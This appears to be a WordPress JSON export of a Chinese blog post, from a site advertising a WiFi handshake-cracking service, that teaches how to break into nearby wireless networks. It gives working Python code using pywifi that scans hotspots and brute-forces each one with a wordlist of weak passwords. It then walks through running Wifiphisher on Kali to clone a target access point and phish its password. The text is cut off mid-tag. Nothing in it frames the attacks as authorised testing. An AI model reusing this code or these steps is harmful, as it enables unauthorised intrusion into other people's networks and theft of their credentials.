{"id":1355,"date":"2024-03-16T01:49:39","date_gmt":"2024-03-15T17:49:39","guid":{"rendered":"http:\/\/www.ccwifi.cc\/blogs\/?p=1355"},"modified":"2024-03-16T01:49:39","modified_gmt":"2024-03-15T17:49:39","slug":"python%e5%ad%97%e5%85%b8%e5%ae%9e%e7%8e%b0wifi%e7%a0%b4%e8%a7%a3","status":"publish","type":"post","link":"https:\/\/www.ccwifi.cc\/blogs\/2024\/03\/16\/python%e5%ad%97%e5%85%b8%e5%ae%9e%e7%8e%b0wifi%e7%a0%b4%e8%a7%a3\/","title":{"rendered":"Python+\u5b57\u5178\uff0c\u5b9e\u73b0 WiFi \u7834\u89e3"},"content":{"rendered":"<div>\n<p>\u5728\u7ebfwifi\u8dd1\u5305 \u91d1\u521a\u5305\u8dd1\u5305 cap\u8dd1\u5305 hccapx ewsa\u5728\u7ebf \u5c31\u6765 <strong><a href=\"https:\/\/ccwifi.cc\" target=\"_blank\" rel=\"noopener\">\u63e1\u624b\u5305\u8dd1\u5305<\/a><\/strong><\/p>\n<p>\u5404\u4f4d\u597d \u53c8\u89c1\u9762\u4e86 \u6211\u662f\u66f9\u64cd \u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u7bc7\u65b0\u7684\u6559\u7a0b<\/p>\n<p>\u5e0c\u671b\u5404\u4f4d\u7ec6\u5fc3\u5b66\u4e60 \u4f4e\u8c03\u7528\u7f51<\/p>\n<\/div>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_0.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><\/p>\n<pre style=\"margin-top: 0px;margin-bottom: 0px;padding: 0px;max-width: 100%;background-image: none;background-color: initial\"><code class=\"\" style=\"margin-right: 0.15em;margin-left: 0.15em;padding: 6px;max-width: 100%;border-radius: 4px;font-size: 0.85em\"><span class=\"\" style=\"max-width: 100%;width: 26px\">from<\/span>&nbsp;pywifi&nbsp;<span class=\"\" style=\"max-width: 100%;width: 40px\">import<\/span>&nbsp;*<br style=\"max-width: 100%\"><span class=\"\" style=\"max-width: 100%;width: 39px\">import<\/span>&nbsp;time<br style=\"max-width: 100%\"><span class=\"\" style=\"max-width: 100%;width: 39px\">import<\/span>&nbsp;sys<\/code><\/pre>\n<p>\u5982\u679c\u60a8\u60f3\u8981\u514d\u8d39\u83b7\u53d6\u5b66\u4e60\u6559\u7a0b\uff0c\u53ef\u4ee5\u52a0\u5165\u6211\u4eec\u7684\u5fae\u4fe1\u7fa4\u6216QQ\u7fa4\u3002\u5728\u5fae\u4fe1\u516c\u4f17\u53f7\u7684\u5e95\u90e8\u83dc\u5355\u4e2d\uff0c\u60a8\u53ef\u4ee5\u627e\u5230\u6559\u7a0b\u5217\u8868\u3002\u5982\u679c\u60a8\u60f3\u8981\u8fdb\u884cWIFI\u7834\u89e3\uff0c\u4f7f\u7528Python\u548c\u5b57\u5178\u662f\u5fc5\u4e0d\u53ef\u5c11\u7684\u3002\u7834\u89e3\u70ed\u70b9\u7684\u5173\u952e\u5728\u4e8e\u5f31\u53e3\u4ee4\u3002\u60a8\u53ef\u4ee5\u81ea\u5df1\u521b\u5efa\u4e00\u4e2a\u5f3a\u5927\u7684\u5b57\u5178\uff0c\u5b57\u5178\u7684\u5f3a\u5927\u7a0b\u5ea6\u51b3\u5b9a\u4e86\u60a8\u53ef\u4ee5\u7834\u89e3\u7684WIFI\u6570\u91cf\u3002<\/p>\n<p>\u65b9\u6cd5\u4e00\uff1a\u73af\u5883\u51c6\u5907<br \/>\n\u9996\u5148\uff0c\u5bfc\u5165\u6240\u9700\u7684\u6a21\u5757\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528\u4e09\u4e2a\u6a21\u5757\u3002\u5728pywifi\u7684<em>wifiutil<\/em>linux.py\u811a\u672c\u4e2d\u7684<em>send<\/em>cmd<em>to<\/em>wpas\u65b9\u6cd5\u4e2d\uff0c\u6211\u4eec\u9700\u8981\u4fee\u6539if reply != b&#8217;OK &#8216;\u7684\u5224\u65ad\u6761\u4ef6\uff0c\u4ee5\u907f\u514d\u51fa\u73b0\u8fc7\u591a\u7684\u63d0\u793a\u4fe1\u606f\u3002<\/p>\n<pre style=\"margin-top: 0px;margin-bottom: 0px;padding: 0px;max-width: 100%;background-image: none;background-color: initial\"><code class=\"\" style=\"margin-right: 0.15em;margin-left: 0.15em;padding: 6px;max-width: 100%;border-radius: 4px;font-size: 0.85em\">12345678<br style=\"max-width: 100%\"><br style=\"max-width: 100%\">123456789<br style=\"max-width: 100%\"><br style=\"max-width: 100%\">88888888<br style=\"max-width: 100%\"><br style=\"max-width: 100%\">1234567890<br style=\"max-width: 100%\"><br style=\"max-width: 100%\">00000000<br style=\"max-width: 100%\"><br style=\"max-width: 100%\">87654321<br style=\"max-width: 100%\"><br style=\"max-width: 100%\">66668888<br style=\"max-width: 100%\"><br style=\"max-width: 100%\">11223344<br style=\"max-width: 100%\"><br style=\"max-width: 100%\">147258369<br style=\"max-width: 100%\"><br style=\"max-width: 100%\">11111111<\/code><\/pre>\n<pre style=\"margin-top: 0px;margin-bottom: 0px;padding: 0px;max-width: 100%;background-image: none;background-color: initial\"><code class=\"\" style=\"margin-right: 0.15em;margin-left: 0.15em;padding: 6px;max-width: 100%;border-radius: 4px;font-size: 0.85em\">def main():<br style=\"max-width: 100%\">&nbsp; &nbsp;#\u626b\u63cf\u65f6\u5e38<br style=\"max-width: 100%\">&nbsp; &nbsp;scantimes =&nbsp;<span class=\"\" style=\"max-width: 100%;width: 7px\">3<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp;#\u5355\u4e2a\u5bc6\u7801\u6d4b\u8bd5\u5ef6\u8fdf<br style=\"max-width: 100%\">&nbsp; &nbsp;testtimes =&nbsp;<span class=\"\" style=\"max-width: 100%;width: 14px\">15<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp;output = sys.stdout<br style=\"max-width: 100%\">&nbsp; &nbsp;#\u7ed3\u679c\u6587\u4ef6\u4fdd\u5b58\u8def\u5f84<br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 33px\">files<\/span>&nbsp;=&nbsp;<span class=\"\" style=\"max-width: 100%;width: 86px\">\"TestRes.txt\"<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp;#\u5b57\u5178\u5217\u8868<br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 27px\">keys<\/span>&nbsp;=&nbsp;<span class=\"\" style=\"max-width: 100%;width: 27px\">open<\/span>(sys.<span class=\"\" style=\"max-width: 100%;width: 26px\">argv<\/span>[<span class=\"\" style=\"max-width: 100%;width: 6px\">1<\/span>],<span class=\"\" style=\"max-width: 100%;width: 19px\">\"r\"<\/span>).readlines()<br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 33px\">print<\/span>&nbsp;<span class=\"\" style=\"max-width: 100%;width: 66px\">\"|KEYS %s\"<\/span>%(<span class=\"\" style=\"max-width: 100%;width: 20px\">len<\/span>(<span class=\"\" style=\"max-width: 100%;width: 27px\">keys<\/span>))<br style=\"max-width: 100%\">&nbsp; &nbsp;#\u5b9e\u4f8b\u5316\u4e00\u4e2apywifi\u5bf9\u8c61<br style=\"max-width: 100%\">&nbsp; &nbsp;wifi = PyWiFi()<br style=\"max-width: 100%\">&nbsp; &nbsp;#\u9009\u62e9\u5b9a\u4e00\u4e2a\u7f51\u5361\u5e76\u8d4b\u503c\u4e8eiface<br style=\"max-width: 100%\">&nbsp; &nbsp;iface = wifi.interfaces()[<span class=\"\" style=\"max-width: 100%;width: 6px\">0<\/span>]<br style=\"max-width: 100%\">&nbsp; &nbsp;#\u901a\u8fc7iface\u8fdb\u884c\u4e00\u4e2a\u65f6\u5e38\u4e3ascantimes\u7684\u626b\u63cf\u5e76\u83b7\u53d6\u9644\u8fd1\u7684\u70ed\u70b9\u57fa\u7840\u914d\u7f6e<br style=\"max-width: 100%\">&nbsp; &nbsp;scanres = scans(iface,scantimes)<br style=\"max-width: 100%\">&nbsp; &nbsp;#\u7edf\u8ba1\u9644\u8fd1\u88ab\u53d1\u73b0\u7684\u70ed\u70b9\u6570\u91cf<br style=\"max-width: 100%\">&nbsp; &nbsp;nums =&nbsp;<span class=\"\" style=\"max-width: 100%;width: 20px\">len<\/span>(scanres)<br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 33px\">print<\/span>&nbsp;<span class=\"\" style=\"max-width: 100%;width: 92px\">\"|SCAN GET %s\"<\/span>%(nums)<br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 33px\">print<\/span>&nbsp;<span class=\"\" style=\"max-width: 100%;width: 336px\">\"%s %-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s %s\"<\/span>%(<span class=\"\" style=\"max-width: 100%;width: 20px\">\"-\"<\/span>*<span class=\"\" style=\"max-width: 100%;width: 13px\">70<\/span>,<span class=\"\" style=\"max-width: 100%;width: 6px\">6<\/span>,<span class=\"\" style=\"max-width: 100%;width: 53px\">\"WIFIID\"<\/span>,<span class=\"\" style=\"max-width: 100%;width: 13px\">18<\/span>,<span class=\"\" style=\"max-width: 100%;width: 99px\">\"SSID OR BSSID\"<\/span>,<span class=\"\" style=\"max-width: 100%;width: 7px\">2<\/span>,<span class=\"\" style=\"max-width: 100%;width: 19px\">\"N\"<\/span>,<span class=\"\" style=\"max-width: 100%;width: 7px\">4<\/span>,<span class=\"\" style=\"max-width: 100%;width: 40px\">\"time\"<\/span>,<span class=\"\" style=\"max-width: 100%;width: 7px\">7<\/span>,<span class=\"\" style=\"max-width: 100%;width: 52px\">\"signal\"<\/span>,<span class=\"\" style=\"max-width: 100%;width: 13px\">10<\/span>,<span class=\"\" style=\"max-width: 100%;width: 53px\">\"KEYNUM\"<\/span>,<span class=\"\" style=\"max-width: 100%;width: 13px\">10<\/span>,<span class=\"\" style=\"max-width: 100%;width: 33px\">\"KEY\"<\/span>,<span class=\"\" style=\"max-width: 100%;width: 20px\">\"=\"<\/span>*<span class=\"\" style=\"max-width: 100%;width: 13px\">70<\/span>)<br style=\"max-width: 100%\">&nbsp; &nbsp;#\u5c06\u6bcf\u4e00\u4e2a\u70ed\u70b9\u4fe1\u606f\u9010\u4e00\u8fdb\u884c\u6d4b\u8bd5<br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 20px\">for<\/span>&nbsp;i,<span class=\"\" style=\"max-width: 100%;width: 6px\">x<\/span>&nbsp;in enumerate(scanres):<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;#\u6d4b\u8bd5\u5b8c\u6bd5\u540e\uff0c\u6210\u529f\u7684\u7ed3\u679c\u8bb2\u5b58\u50a8\u5230<span class=\"\" style=\"max-width: 100%;width: 33px\">files<\/span>\u4e2d<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 19px\">res<\/span>&nbsp;= test(nums-i,iface,<span class=\"\" style=\"max-width: 100%;width: 7px\">x<\/span>,<span class=\"\" style=\"max-width: 100%;width: 26px\">keys<\/span>,output,testtimes)<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 13px\">if<\/span>&nbsp;re<span class=\"\" style=\"max-width: 100%;width: 13px\">s:<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 26px\">open<\/span>(<span class=\"\" style=\"max-width: 100%;width: 33px\">files<\/span>,<span class=\"\" style=\"max-width: 100%;width: 19px\">\"a\"<\/span>).<span class=\"\" style=\"max-width: 100%;width: 32px\">write<\/span>(<span class=\"\" style=\"max-width: 100%;width: 20px\">res<\/span>)<\/code><\/pre>\n<p>\u51c6\u5907\u5b57\u5178<br \/>\n\u6211\u4eec\u968f\u673a\u521b\u5efa\u4e86\u4e00\u4e2a\u5305\u542b\u5341\u4e2a\u5e38\u89c1\u7684\u5f31\u53e3\u4ee4\u7684WIFI\u5b57\u5178\u3002<\/p>\n<p>\u914d\u7f6e\u626b\u63cf\u5668<br \/>\n\u6211\u4eec\u5efa\u8bae\u5c06\u626b\u63cf\u65f6\u95f4\u8bbe\u7f6e\u572815-20\u79d2\u4e4b\u95f4\u3002\u6d4b\u8bd5\u65f6\u95f4\u53ef\u4ee5\u6839\u636e\u9700\u8981\u81ea\u5b9a\u4e49\u3002\u8003\u8651\u5230\u8ba4\u8bc1\u901f\u5ea6\u548c\u8ddd\u79bb\u7684\u5173\u7cfb\uff0c\u6211\u901a\u5e38\u5c06\u6d4b\u8bd5\u65f6\u95f4\u8bbe\u7f6e\u4e3a15\u79d2\u5de6\u53f3\u3002\u5982\u679c\u65f6\u95f4\u592a\u957f\uff0c\u5373\u4f7f\u6210\u529f\u7834\u89e3\u4e86\u70ed\u70b9\uff0c\u4fe1\u53f7\u4e5f\u53ef\u80fd\u4e0d\u592a\u597d\u3002<\/p>\n<pre style=\"margin-top: 0px;margin-bottom: 0px;padding: 0px;max-width: 100%;background-image: none;background-color: initial\"><code class=\"\" style=\"margin-right: 0.15em;margin-left: 0.15em;padding: 6px;max-width: 100%;border-radius: 4px;font-size: 0.85em\"><span class=\"\" style=\"max-width: 100%;width: 158px\"><span class=\"\" style=\"max-width: 100%;width: 20px\">def<\/span>&nbsp;<span class=\"\" style=\"max-width: 100%;width: 33px\">scans<\/span><span class=\"\" style=\"max-width: 100%;width: 93px\">(face,timeout)<\/span>:<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 55px;font-style: italic\">#\u5f00\u59cb\u626b\u63cf<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp;face.scan()<br style=\"max-width: 100%\">&nbsp; &nbsp;time.sleep(timeout)<br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 139px;font-style: italic\">#\u5728\u82e5\u5e72\u79d2\u540e\u83b7\u53d6\u626b\u63cf\u7ed3\u679c<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 40px\">return<\/span>&nbsp;face.scan_results()<br style=\"max-width: 100%\"><\/code><\/pre>\n<pre style=\"margin-top: 0px;margin-bottom: 0px;padding: 0px;max-width: 100%;background-image: none;background-color: initial\"><code class=\"\" style=\"margin-right: 0.15em;margin-left: 0.15em;padding: 6px;max-width: 100%;border-radius: 4px;font-size: 0.85em\"><span class=\"\" style=\"max-width: 100%;width: 191px\"><span class=\"\" style=\"max-width: 100%;width: 20px\">def<\/span>&nbsp;<span class=\"\" style=\"max-width: 100%;width: 27px\">test<\/span><span class=\"\" style=\"max-width: 100%;width: 138px\">(i,face,x,key,stu,ts)<\/span><\/span>:<br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 280px;font-style: italic\">#\u663e\u793a\u5bf9\u5e94\u7f51\u7edc\u540d\u79f0\uff0c\u8003\u8651\u5230\u90e8\u5206\u4e2d\u6587\u540d\u5567\u663e\u793abssid<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp;showID = x.bssid&nbsp;<span class=\"\" style=\"max-width: 100%;width: 14px\">if<\/span>&nbsp;len(x.ssid)&gt;len(x.bssid)&nbsp;<span class=\"\" style=\"max-width: 100%;width: 26px\">else<\/span>&nbsp;x.ssid<br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 115px;font-style: italic\">#\u8fed\u4ee3\u5b57\u5178\u5e76\u8fdb\u884c\u7206\u7834<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 20px\">for<\/span>&nbsp;n,k&nbsp;<span class=\"\" style=\"max-width: 100%;width: 13px\">in<\/span>&nbsp;enumerate(key):<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;x.key = k.strip()<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 102px;font-style: italic\">#\u79fb\u9664\u6240\u6709\u70ed\u70b9\u914d\u7f6e<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;face.remove_all_network_profiles()<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 138px;font-style: italic\">#\u8bb2\u5c01\u88c5\u597d\u7684\u76ee\u6807\u5c1d\u8bd5\u8fde\u63a5<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;face.connect(face.add_network_profile(x))<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 241px;font-style: italic\">#\u521d\u59cb\u5316\u72b6\u6001\u7801\uff0c\u8003\u8651\u5230\u75280\u4f1a\u53d1\u751f\u4e9b\u903b\u8f91\u9519\u8bef<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;code =&nbsp;<span class=\"\" style=\"max-width: 100%;width: 13px\">10<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;t1 = time.time()<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 325px;font-style: italic\">#\u5faa\u73af\u5237\u65b0\u72b6\u6001\uff0c\u5982\u679c\u7f6e\u4e3a0\u5219\u5bc6\u7801\u9519\u8bef\uff0c\u5982\u8d85\u65f6\u5219\u8fdb\u884c\u4e0b\u4e00\u4e2a<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 33px\">while<\/span>&nbsp;code!=<span class=\"\" style=\"max-width: 100%;width: 6px\">0<\/span>&nbsp;:<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;time.sleep(<span class=\"\" style=\"max-width: 100%;width: 6px\">0<\/span>.<span class=\"\" style=\"max-width: 100%;width: 6px\">1<\/span>)<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;code = face.status()<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;now = time.time()-t1<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 13px\">if<\/span>&nbsp;now&gt;<span class=\"\" style=\"max-width: 100%;width: 20px\">ts:<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 33px\">break<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;stu.write(<span class=\"\" style=\"max-width: 100%;width: 290px\">\" %-*s| %-*s| %s |%*.2fs| %-*s | &nbsp;%-*s %*s\"<\/span><span class=\"\" style=\"max-width: 100%;width: 324px\">%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)<\/span>-n,<span class=\"\" style=\"max-width: 100%;width: 13px\">10<\/span>,k.replace(<span class=\"\" style=\"max-width: 100%;width: 26px\">\" \"<\/span>,<span class=\"\" style=\"max-width: 100%;width: 13px\">\"\"<\/span>)))<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;stu.flush()<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 13px\">if<\/span>&nbsp;code ==&nbsp;<span class=\"\" style=\"max-width: 100%;width: 6px\">4<\/span>:<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;face.disconnect()<br style=\"max-width: 100%\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 40px\">return<\/span>&nbsp;<span class=\"\" style=\"max-width: 100%;width: 151px\">\"%-*s| %s | %*s |%*s \"<\/span><span class=\"\" style=\"max-width: 100%;width: 238px\">%(20,x.ssid,x.bssid,3,x.signal,15,k)<\/span><br style=\"max-width: 100%\">&nbsp; &nbsp;<span class=\"\" style=\"max-width: 100%;width: 40px\">return<\/span>&nbsp;False<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_1.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_2.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><\/p>\n<p>\u626b\u63cf\u5468\u56f4\u7684\u70ed\u70b9<br \/>\n\u8fdb\u884c\u70ed\u70b9\u626b\u63cf\u3002<\/p>\n<p>\u70ed\u70b9\u6d4b\u8bd5<br \/>\n\u5728\u8fd9\u4e2a\u6848\u4f8b\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528\u4e8611\u4e2a\u5f31\u53e3\u4ee4\uff0c\u5e76\u626b\u63cf\u5230\u4e8620\u4e2a\u70ed\u70b9\u3002\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5c06\u5f00\u59cb\u7834\u89e3\u8fd9\u4e9b\u70ed\u70b9\u3002<\/p>\n<p>\u65b9\u6cd5\u4e8c\uff1a\u66f4\u5feb\u901f\u7684\u7834\u89e3\u65b9\u6cd5<br \/>\n\u76ee\u524d\u5e38\u89c1\u7684Wi-Fi\u52a0\u5bc6\u65b9\u5f0f\u6709WEP\u3001WPA2\u548cWPS\u3002\u7136\u800c\uff0c\u6709\u4e9b\u7528\u6237\u53cd\u6620\u7834\u89e3WPA2\u7684\u65b9\u6cd5\u8017\u65f6\u592a\u957f\uff0c\u5e76\u4e14\u4e0d\u9002\u7528\u4e8e\u6240\u6709\u542f\u7528\u4e86WPS\u7684\u63a5\u5165\u70b9\u3002\u73b0\u5728\uff0c\u6211\u5c06\u4ecb\u7ecd\u4e00\u79cd\u66f4\u7701\u65f6\u7701\u529b\u7684\u65b9\u6cd5\u3002<\/p>\n<p>\u4e3b\u8981\u539f\u7406<br \/>\n\u6211\u4eec\u5c06\u4f7f\u7528Wifiphisher\u8fd9\u4e2a\u4f18\u5316\u8fc7\u7684\u81ea\u52a8\u5316\u811a\u672c\uff0c\u800c\u4e0d\u662f\u4e4b\u524d\u7684\u811a\u672c\uff08\u5982Airsnarf\uff09\u3002Wifiphisher\u6bd4\u524d\u8005\u66f4\u52a0\u65b9\u4fbf\u3002<\/p>\n<p>\u8981\u5b8c\u6210\u4e0a\u8ff0\u4efb\u52a1\uff0c\u60a8\u9700\u8981Kali Linux\u548c\u4e24\u4e2a\u65e0\u7ebf\u9002\u914d\u5668\uff0c\u5176\u4e2d\u4e00\u4e2a\u5fc5\u987b\u652f\u6301\u6570\u636e\u5305\u6ce8\u5165\u3002<\/p>\n<p>\u7b2c\u4e00\u6b65\uff1a\u4e0b\u8f7dWifiphisher<br \/>\n\u60a8\u53ef\u4ee5\u4e0b\u8f7d\u5df2\u89e3\u538b\u7684Wifiphisher\u6e90\u4ee3\u7801\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_3.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><\/p>\n<p>\u5f53\u7136\uff0c\u5982\u679c\u60a8\u61d2\u5f97\u4e0b\u8f7d\uff0c\u4e5f\u53ef\u4ee5\u590d\u5236GitHub\u4e0a\u7684\u4ee3\u7801\u3002<\/p>\n<p>\u7b2c\u4e8c\u6b65\uff1a\u5bfc\u822a\u5230\u76ee\u5f55<br \/>\n\u63a5\u4e0b\u6765\uff0c\u5bfc\u822a\u5230\u89e3\u538b\u540e\u7684Wifiphisher\u76ee\u5f55\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u76ee\u5f55\u8def\u5f84\u662f\/wifiphisherWi-Fi1.1\u3002<\/p>\n<p>\u5f53\u60a8\u770b\u5230\u76ee\u5f55\u5185\u5bb9\u65f6\uff0c\u60a8\u4f1a\u770b\u5230wifiphisher.py\u811a\u672c\u3002<\/p>\n<pre style=\"margin-top: 0px;margin-bottom: 0px;padding: 0px;max-width: 100%;background-image: none;background-color: initial\"><code class=\"\" style=\"margin-right: 0.15em;margin-left: 0.15em;padding: 6px;max-width: 100%;border-radius: 4px;font-size: 0.85em\">kali &gt;&nbsp;<span class=\"\" style=\"max-width: 100%;width: 40px\">python<\/span>&nbsp;wifiphisher.<span class=\"\" style=\"max-width: 100%;width: 14px\">py<\/span><\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_5.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_6.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><\/p>\n<p>\u7b2c\u4e09\u6b65\uff1a\u8fd0\u884c\u811a\u672c<br \/>\n\u60a8\u53ef\u4ee5\u8f93\u5165\u4ee5\u4e0b\u811a\u672c\u6765\u8fd0\u884c\u3002<\/p>\n<p>\u8bf7\u6ce8\u610f\uff0c\u5982\u679c\u60a8\u662f\u7b2c\u4e00\u6b21\u8fd0\u884c\u811a\u672c\uff0c\u53ef\u80fd\u4f1a\u63d0\u793a\u60a8\u5b89\u88c5hostpad\u3002\u952e\u5165Y\u7ee7\u7eed\u5b89\u88c5\u5373\u53ef\u3002\u5b8c\u6210\u540e\uff0c\u518d\u6b21\u8fd0\u884cWifiphisher\u811a\u672c\u3002\u8fd9\u6b21\u5c06\u8fd0\u884c8080\u548c43\u7aef\u53e3\u7684Web\u670d\u52a1\u5668\uff0c\u5e76\u5f00\u59cb\u641c\u7d22\u9644\u8fd1\u7684Wi-Fi\u7f51\u7edc\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_7.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_8.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_9.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><\/p>\n<p>\u7b49\u5f85\u641c\u7d22\u5b8c\u6210\uff0c\u60a8\u4f1a\u770b\u5230\u4e00\u7cfb\u5217Wi-Fi\u7f51\u7edc\u540d\u79f0\u3002\u6211\u4eec\u7684\u76ee\u6807\u662f\u6700\u4e0b\u65b9\u7684wonderhowto\u3002<\/p>\n<p>\u7b2c\u56db\u6b65\uff1a\u83b7\u53d6\u5bc6\u7801<br \/>\n\u6309\u4e0bCtrl+C\uff0c\u7136\u540e\u952e\u5165\u8981\u590d\u5236\u7684AP\u6570\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u6211\u4eec\u9009\u62e9\u4e8612\u3002<\/p>\n<p>\u6309\u4e0b\u56de\u8f66\uff0cWifiphisher\u5c06\u663e\u793a\u4ee5\u4e0b\u7ed3\u679c\uff0c\u663e\u793a\u6b63\u5728\u4f7f\u7528\u7684\u754c\u9762\u4ee5\u53ca\u88ab\u653b\u51fb\u548c\u590d\u5236\u7684AP\u7684SSID\u3002<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_10.jpg\" alt=\"wifi\u5b57\u5178\u7834\u89e3\"><img decoding=\"async\" src=\"http:\/\/www.ccwifi.cc\/blogs\/wp-content\/uploads\/2024\/03\/1710524977881_11.jpg\" 